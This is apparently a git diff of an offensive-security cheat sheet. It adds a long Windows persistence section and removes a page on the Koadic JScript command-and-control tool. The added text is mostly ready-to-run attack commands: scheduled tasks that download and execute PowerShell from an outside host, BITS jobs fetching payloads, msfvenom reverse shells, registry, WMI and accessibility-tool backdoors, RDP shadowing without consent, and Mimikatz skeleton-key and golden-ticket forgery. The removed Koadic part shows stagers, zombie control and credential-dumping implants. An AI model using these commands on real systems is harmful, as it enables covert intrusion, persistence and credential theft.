@@ -20,20 +186,87 @@ PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\
|
||||
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
|
||||
```
|
||||
|
||||
### Scheduled Task
|
||||
Using SharPersist
|
||||
|
||||
```powershell
|
||||
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
|
||||
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
|
||||
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
|
||||
PS C:\> $S = New-ScheduledTaskSettingsSet
|
||||
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
|
||||
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
|
||||
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
|
||||
```
|
||||
|
||||
### Scheduled Tasks User
|
||||
|
||||
* Using native **schtask** - Create a new task
|
||||
```powershell
|
||||
# Create the scheduled tasks to run once at 00.00
|
||||
schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe
|
||||
# Force run it now !
|
||||
schtasks /run /tn "Device-Synchronize"
|
||||
```
|
||||
* Using native **schtask** - Leverage the `schtasks /change` command to modify existing scheduled tasks
|
||||
```powershell
|
||||
# Launch an executable by calling the ShellExec_RunDLL function.
|
||||
SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor" /TR "C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU "" /ENABLE
|
||||
```
|
||||
|
||||
* Using Powershell
|
||||
```powershell
|
||||
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
|
||||
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
|
||||
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
|
||||
PS C:\> $S = New-ScheduledTaskSettingsSet
|
||||
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
|
||||
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
|
||||
```
|
||||
|
||||
* Using SharPersist
|
||||
```powershell
|
||||
# Add to a current scheduled task
|
||||
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
|
||||
|
||||
# Add new task
|
||||
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
|
||||
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
|
||||
```
|
||||
|
||||
|
||||
### BITS Jobs
|
||||
|
||||
```powershell
|
||||
bitsadmin /create backdoor
|
||||
bitsadmin /addfile backdoor "http://10.10.10.10/evil.exe" "C:\tmp\evil.exe"
|
||||
|
||||
# v1
|
||||
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NUL
|
||||
bitsadmin /SetMinRetryDelay "backdoor" 60
|
||||
bitsadmin /resume backdoor
|
||||
|
||||
# v2 - exploit/multi/script/web_delivery
|
||||
bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll"
|
||||
bitsadmin /resume backdoor
|
||||
```
|
||||
|
||||
## Serviceland
|
||||
|
||||
### IIS
|
||||
|
||||
IIS Raid – Backdooring IIS Using Native Modules
|
||||
|
||||
```powershell
|
||||
$ git clone https://github.com/0x09AL/IIS-Raid
|
||||
$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
|
||||
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true
|
||||
```
|
||||
|
||||
### Windows Service
|
||||
|
||||
Using SharPersist
|
||||
|
||||
```powershell
|
||||
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
|
||||
```
|
||||
|
||||
## Elevated
|
||||
|
||||
### HKLM
|
||||
### Registry HKLM
|
||||
|
||||
Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.
|
||||
|
||||
@@ -42,28 +275,326 @@ Value name: Backdoor
|
||||
Value data: C:\Windows\Temp\backdoor.exe
|
||||
```
|
||||
|
||||
### Services
|
||||
Using the command line
|
||||
|
||||
```powershell
|
||||
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
|
||||
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
|
||||
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
|
||||
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
|
||||
```
|
||||
|
||||
#### Winlogon Helper DLL
|
||||
|
||||
> Run executable during Windows logon
|
||||
|
||||
```powershell
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exe
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dll
|
||||
|
||||
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f
|
||||
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f
|
||||
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force
|
||||
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force
|
||||
```
|
||||
|
||||
|
||||
#### GlobalFlag
|
||||
|
||||
> Run executable after notepad is killed
|
||||
|
||||
```powershell
|
||||
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
|
||||
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
|
||||
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
|
||||
```
|
||||
|
||||
### Startup Elevated
|
||||
|
||||
Create a batch script in the user startup folder.
|
||||
|
||||
```powershell
|
||||
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
|
||||
```
|
||||
|
||||
### Services Elevated
|
||||
|
||||
Create a service that will start automatically or on-demand.
|
||||
|
||||
```powershell
|
||||
PS C:\> New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here."
|
||||
# Powershell
|
||||
New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic
|
||||
sc start pentestlab
|
||||
|
||||
# SharPersist
|
||||
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add
|
||||
|
||||
# sc
|
||||
sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem"
|
||||
sc start Backdoor
|
||||
```
|
||||
|
||||
### Scheduled Tasks
|
||||
### Scheduled Tasks Elevated
|
||||
|
||||
Scheduled Task to run as SYSTEM, everyday at 9am.
|
||||
Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.
|
||||
|
||||
> Processes spawned as scheduled tasks have taskeng.exe process as their parent
|
||||
|
||||
```powershell
|
||||
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
|
||||
PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
|
||||
PS C:\> $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
|
||||
PS C:\> $S = New-ScheduledTaskSettingsSet
|
||||
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
|
||||
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
|
||||
# Powershell
|
||||
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe"
|
||||
$T = New-ScheduledTaskTrigger -Daily -At 9am
|
||||
# OR
|
||||
$T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM"
|
||||
$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
|
||||
$S = New-ScheduledTaskSettingsSet
|
||||
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
|
||||
Register-ScheduledTask "Backdoor" -InputObject $D
|
||||
|
||||
# Native schtasks
|
||||
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
|
||||
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password
|
||||
schtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s \"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time]
|
||||
|
||||
##(X86) - On User Login
|
||||
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
|
||||
|
||||
##(X86) - On System Start
|
||||
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
|
||||
|
||||
##(X86) - On User Idle (30mins)
|
||||
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
|
||||
|
||||
##(X64) - On User Login
|
||||
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
|
||||
|
||||
##(X64) - On System Start
|
||||
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
|
||||
|
||||
##(X64) - On User Idle (30mins)
|
||||
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
|
||||
```
|
||||
|
||||
|
||||
### Windows Management Instrumentation Event Subscription
|
||||
|
||||
> An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.
|
||||
|
||||
|
||||
* **__EventFilter**: Trigger (new process, failed logon etc.)
|
||||
* **EventConsumer**: Perform Action (execute payload etc.)
|
||||
* **__FilterToConsumerBinding**: Binds Filter and Consumer Classes
|
||||
|
||||
```ps1
|
||||
# Using CMD : Execute a binary 60 seconds after Windows started
|
||||
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="WMIPersist", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
|
||||
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="WMIPersist", ExecutablePath="C:\Windows\System32\binary.exe",CommandLineTemplate="C:\Windows\System32\binary.exe"
|
||||
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WMIPersist\"", Consumer="CommandLineEventConsumer.Name=\"WMIPersist\""
|
||||
# Remove it
|
||||
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='WMIPersist'" | Remove-WmiObject -Verbose
|
||||
|
||||
# Using Powershell (deploy)
|
||||
$FilterArgs = @{name='WMIPersist'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 90"};
|
||||
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
|
||||
$ConsumerArgs = @{name='WMIPersist'; CommandLineTemplate="$($Env:SystemRoot)\System32\binary.exe";}
|
||||
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
|
||||
$FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer;}
|
||||
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
|
||||
# Using Powershell (remove)
|
||||
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'WMIPersist'"
|
||||
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'WMIPersist'"
|
||||
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
|
||||
$FilterConsumerBindingToCleanup | Remove-WmiObject
|
||||
$EventConsumerToCleanup | Remove-WmiObject
|
||||
$EventFilterToCleanup | Remove-WmiObject
|
||||
```
|
||||
|
||||
|
||||
### Binary Replacement
|
||||
|
||||
#### Binary Replacement on Windows XP+
|
||||
|
||||
| Feature | Executable |
|
||||
|---------------------|---------------------------------------|
|
||||
| Sticky Keys | C:\Windows\System32\sethc.exe |
|
||||
| Accessibility Menu | C:\Windows\System32\utilman.exe |
|
||||
| On-Screen Keyboard | C:\Windows\System32\osk.exe |
|
||||
| Magnifier | C:\Windows\System32\Magnify.exe |
|
||||
| Narrator | C:\Windows\System32\Narrator.exe |
|
||||
| Display Switcher | C:\Windows\System32\DisplaySwitch.exe |
|
||||
| App Switcher | C:\Windows\System32\AtBroker.exe |
|
||||
|
||||
In Metasploit : `use post/windows/manage/sticky_keys`
|
||||
|
||||
#### Binary Replacement on Windows 10+
|
||||
|
||||
Exploit a DLL hijacking vulnerability in the On-Screen Keyboard **osk.exe** executable.
|
||||
|
||||
Create a malicious **HID.dll** in `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`.
|
||||
|
||||
|
||||
### RDP Backdoor
|
||||
|
||||
#### utilman.exe
|
||||
|
||||
At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.
|
||||
|
||||
```powershell
|
||||
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
|
||||
```
|
||||
|
||||
#### sethc.exe
|
||||
|
||||
Hit F5 a bunch of times when you are at the RDP login screen.
|
||||
|
||||
```powershell
|
||||
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
|
||||
```
|
||||
|
||||
### Remote Desktop Services Shadowing
|
||||
|
||||
:warning: FreeRDP and rdesktop don't support Remote Desktop Services Shadowing feature.
|
||||
|
||||
Requirements:
|
||||
* RDP must be running
|
||||
|
||||
```powershell
|
||||
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4
|
||||
# 4 – View Session without user’s permission.
|
||||
|
||||
# Allowing remote connections to this computer
|
||||
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
|
||||
|
||||
|
||||
# Disable UAC remote restriction
|
||||
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
|
||||
|
||||
mstsc /v:{ADDRESS} /shadow:{SESSION_ID} /noconsentprompt /prompt
|
||||
# /v parameter lets specify the {ADDRESS} value that is an IP address or a hostname of a remote host;
|
||||
# /shadow parameter is used to specify the {SESSION_ID} value that is a shadowee’s session ID;
|
||||
# /noconsentprompt parameter allows to bypass a shadowee’s permission and shadow their session without their consent;
|
||||
# /prompt parameter is used to specify a user’s credentials to connect to a remote host.
|
||||
```
|
||||
|
||||
### Skeleton Key
|
||||
|
||||
```powershell
|
||||
# Exploitation Command runned as DA:
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN>
|
||||
|
||||
# Access using the password "mimikatz"
|
||||
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
|
||||
```
|
||||
|
||||
|
||||
### Virtual Machines
|
||||
|
||||
> Based on the Shadow Bunny technique.
|
||||
|
||||
```ps1
|
||||
# download virtualbox
|
||||
Invoke-WebRequest "https://download.virtualbox.org/virtualbox/6.1.8/VirtualBox-6.1.8-137981-Win.exe" -OutFile $env:TEMP\VirtualBox-6.1.8-137981-Win.exe
|
||||
|
||||
# perform a silent install and avoid creating desktop and quick launch icons
|
||||
VirtualBox-6.0.14-133895-Win.exe --silent --ignore-reboot --msiparams VBOX_INSTALLDESKTOPSHORTCUT=0,VBOX_INSTALLQUICKLAUNCHSHORTCUT=0
|
||||
|
||||
# in \Program Files\Oracle\VirtualBox\VBoxManage.exe
|
||||
# Disabling notifications
|
||||
.\VBoxManage.exe setextradata global GUI/SuppressMessages "all"
|
||||
|
||||
# Download the Virtual machine disk
|
||||
Copy-Item \\smbserver\images\shadowbunny.vhd $env:USERPROFILE\VirtualBox\IT Recovery\shadowbunny.vhd
|
||||
|
||||
# Create a new VM
|
||||
$vmname = "IT Recovery"
|
||||
.\VBoxManage.exe createvm --name $vmname --ostype "Ubuntu" --register
|
||||
|
||||
# Add a network card in NAT mode
|
||||
.\VBoxManage.exe modifyvm $vmname --ioapic on # required for 64bit
|
||||
.\VBoxManage.exe modifyvm $vmname --memory 1024 --vram 128
|
||||
.\VBoxManage.exe modifyvm $vmname --nic1 nat
|
||||
.\VBoxManage.exe modifyvm $vmname --audio none
|
||||
.\VBoxManage.exe modifyvm $vmname --graphicscontroller vmsvga
|
||||
.\VBoxManage.exe modifyvm $vmname --description "Shadowbunny"
|
||||
|
||||
# Mount the VHD file
|
||||
.\VBoxManage.exe storagectl $vmname -name "SATA Controller" -add sata
|
||||
.\VBoxManage.exe storageattach $vmname -comment "Shadowbunny Disk" -storagectl "SATA Controller" -type hdd -medium "$env:USERPROFILE\VirtualBox VMs\IT Recovery\shadowbunny.vhd" -port 0
|
||||
|
||||
# Start the VM
|
||||
.\VBoxManage.exe startvm $vmname –type headless
|
||||
|
||||
|
||||
# optional - adding a shared folder
|
||||
# require: VirtualBox Guest Additions
|
||||
.\VBoxManage.exe sharedfolder add $vmname -name shadow_c -hostpath c:\ -automount
|
||||
# then mount the folder in the VM
|
||||
sudo mkdir /mnt/c
|
||||
sudo mount -t vboxsf shadow_c /mnt/c
|
||||
```
|
||||
|
||||
|
||||
## Domain
|
||||
|
||||
### User Certificate
|
||||
|
||||
```ps1
|
||||
# Request a certificate for the User template
|
||||
.\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User
|
||||
|
||||
# Convert the certificate for Rubeus
|
||||
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
|
||||
|
||||
# Request a TGT using the certificate
|
||||
.\Rubeus.exe asktgt /user:username /certificate:C:\Temp\cert.pfx /password:Passw0rd123!
|
||||
```
|
||||
|
||||
### Golden Certificate
|
||||
|
||||
> Require elevated privileges in the Active Directory, or on the ADCS machine
|
||||
|
||||
* Export CA as p12 file: `certsrv.msc` > `Right Click` > `Back up CA...`
|
||||
* Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER
|
||||
```ps1
|
||||
privilege::debug
|
||||
crypto::capi
|
||||
crypto::cng
|
||||
crypto::certificates /systemstore:local_machine /store:my /export
|
||||
```
|
||||
* Alternative 2: Using SharpDPAPI, then convert the certificate: `openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx`
|
||||
* [ForgeCert](https://github.com/GhostPack/ForgeCert) - Forge a certificate for any active domain user using the CA certificate
|
||||
```ps1
|
||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword Password123
|
||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword Password123
|
||||
```
|
||||
* Finally you can request a TGT using the Certificate
|
||||
```ps1
|
||||
Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123
|
||||
```
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
> Forge a Golden ticket using Mimikatz
|
||||
|
||||
```ps1
|
||||
kerberos::purge
|
||||
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
|
||||
kerberos::tgt
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/)
|
||||
* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)
|
||||
* [SharPersist Windows Persistence Toolkit in C - Brett Hawkins](http://www.youtube.com/watch?v=K7o9RSVyazo)
|
||||
* [IIS Raid – Backdooring IIS Using Native Modules - 19/02/2020](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/)
|
||||
* [Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - Apr 27, 2020 - @phraaaaaaa](https://iwantmore.pizza/posts/arbitrary-write-accessibility-tools.html)
|
||||
* [Persistence - Checklist - @netbiosX](https://github.com/netbiosX/Checklists/blob/master/Persistence.md)
|
||||
* [Persistence – Winlogon Helper DLL - @netbiosX](https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/)
|
||||
* [Persistence - BITS Jobs - @netbiosX](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/)
|
||||
* [Persistence – Image File Execution Options Injection - @netbiosX](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)
|
||||
* [Persistence – Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/)
|
||||
* [Golden Certificate - NOVEMBER 15, 2021](https://pentestlab.blog/2021/11/15/golden-certificate/)
|
||||
* [Beware of the Shadowbunny - Using virtual machines to persist and evade detections - Sep 23, 2020 - wunderwuzzi](https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/)
|
||||
* [Persistence – WMI Event Subscription - JANUARY 21, 2020 - pentestlab](https://binary.blog/2020/01/21/persistence-wmi-event-subscription/)
|
||||
* [Persistence via WMI Event Subscription - Elastic Security Solution](https://www.elastic.co/guide/en/security/current/persistence-via-wmi-event-subscription.html)
|
||||
@@ -1,123 +0,0 @@
|
||||
# Koadic C3 COM Command & Control - JScript RAT
|
||||
|
||||
> Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire.
|
||||
|
||||
## Installation
|
||||
|
||||
```powershell
|
||||
git clone https://github.com/zerosum0x0/koadic
|
||||
git submodule init
|
||||
git submodule update
|
||||
pip2.7 install -r requirements.txt --user
|
||||
python2.7 koadic
|
||||
```
|
||||
|
||||
## Set a listener
|
||||
|
||||
```powershell
|
||||
use stager/js/mshta
|
||||
set LHOST 192.168.1.19
|
||||
set SRVPORT 4444
|
||||
run
|
||||
|
||||
[>] mshta http://192.168.1.19:4444/6DX7f
|
||||
```
|
||||
|
||||
```powershell
|
||||
use stager/js/wmic
|
||||
set LHOST 192.168.1.19
|
||||
set SRVPORT 4444
|
||||
run
|
||||
|
||||
[>] wmic os get /FORMAT:"http://192.168.1.19:4444/lQGx5.xsl"
|
||||
```
|
||||
|
||||
### Stagers
|
||||
|
||||
Stagers hook target zombies and allow you to use implants.
|
||||
|
||||
Module | Description
|
||||
--------|------------
|
||||
stager/js/mshta | serves payloads using MSHTA.exe HTML Applications
|
||||
stager/js/regsvr | serves payloads using regsvr32.exe COM+ scriptlets
|
||||
stager/js/wmic | serves payloads using WMIC XSL
|
||||
stager/js/rundll32_js | serves payloads using rundll32.exe
|
||||
stager/js/disk | serves payloads using files on disk
|
||||
|
||||
|
||||
|
||||
## List zombies and interact with them
|
||||
|
||||
```powershell
|
||||
(koadic: sta/js/wmic)$ zombies
|
||||
|
||||
ID IP STATUS LAST SEEN
|
||||
--- --------- ------- ------------
|
||||
0 192.168.1.30 Alive 2018-10-04 17:07:12
|
||||
|
||||
(koadic: sta/js/wmic)$ zombies 0
|
||||
ID: 0
|
||||
Status: Alive
|
||||
First Seen: 2018-10-04 17:05:00
|
||||
Last Seen: 2018-10-04 17:14:42
|
||||
IP: 192.168.1.30
|
||||
User: DESKTOP-68URA9U\CrashWin
|
||||
[...]
|
||||
Elevated: No
|
||||
[...]
|
||||
```
|
||||
|
||||
Interact with `zombies zombie_id`, get a shell with `cmdshell zombie_id`.
|
||||
|
||||
```powershell
|
||||
[koadic: ZOMBIE 0 (192.168.1.30) - C:\Users\CrashWin]> whoami
|
||||
[*] Zombie 0: Job 1 (implant/manage/exec_cmd) created.
|
||||
[+] Zombie 0: Job 1 (implant/manage/exec_cmd) completed.
|
||||
Result for `cd C:\Users\CrashWin & whoami`:
|
||||
desktop-68ura9u\crashwin
|
||||
```
|
||||
|
||||
## Use an implant
|
||||
|
||||
Select an implant with `use module`, then fill the `info` with `set INFO value`, finally start the module with `run`.
|
||||
|
||||
```powershell
|
||||
(koadic: sta/js/mshta)$ use implant/phish/password_box
|
||||
(koadic: imp/phi/password_box)$ set ZOMBIE 1
|
||||
(koadic: imp/phi/password_box)$ run
|
||||
Input contents:
|
||||
MyStrongPassword123!
|
||||
```
|
||||
|
||||
### Implants
|
||||
|
||||
Implants start jobs on zombies.
|
||||
|
||||
Module | Description
|
||||
--------|------------
|
||||
implant/elevate/bypassuac_eventvwr | Uses enigma0x3's eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10.
|
||||
implant/elevate/bypassuac_sdclt | Uses enigma0x3's sdclt.exe exploit to bypass UAC on Windows 10.
|
||||
implant/fun/zombie | Maxes volume and opens The Cranberries YouTube in a hidden window.
|
||||
implant/fun/voice | Plays a message over text-to-speech.
|
||||
implant/gather/clipboard | Retrieves the current content of the user clipboard.
|
||||
implant/gather/enum_domain_info | Retrieve information about the Windows domain.
|
||||
implant/gather/hashdump_sam | Retrieves hashed passwords from the SAM hive.
|
||||
implant/gather/hashdump_dc | Domain controller hashes from the NTDS.dit file.
|
||||
implant/gather/user_hunter | Locate users logged on to domain computers (using Dynamic Wrapper X).
|
||||
implant/inject/mimikatz_dynwrapx | Injects a reflective-loaded DLL to run powerkatz.dll (using Dynamic Wrapper X).
|
||||
implant/inject/mimikatz_dotnet2js | Injects a reflective-loaded DLL to run powerkatz.dll (@tirannido DotNetToJS).
|
||||
implant/inject/shellcode_excel | Runs arbitrary shellcode payload (if Excel is installed).
|
||||
implant/manage/enable_rdesktop | Enables remote desktop on the target.
|
||||
implant/manage/exec_cmd | Run an arbitrary command on the target, and optionally receive the output.
|
||||
implant/phishing/password_box | Prompt a user to enter their password.
|
||||
implant/pivot/stage_wmi | Hook a zombie on another machine using WMI.
|
||||
implant/pivot/exec_psexec | Run a command on another machine using psexec from sysinternals.
|
||||
implant/scan/tcp | Uses HTTP to scan open TCP ports on the target zombie LAN.
|
||||
implant/utils/download_file | Downloads a file from the target zombie.
|
||||
implant/utils/multi_module | Run a number of implants in succession.
|
||||
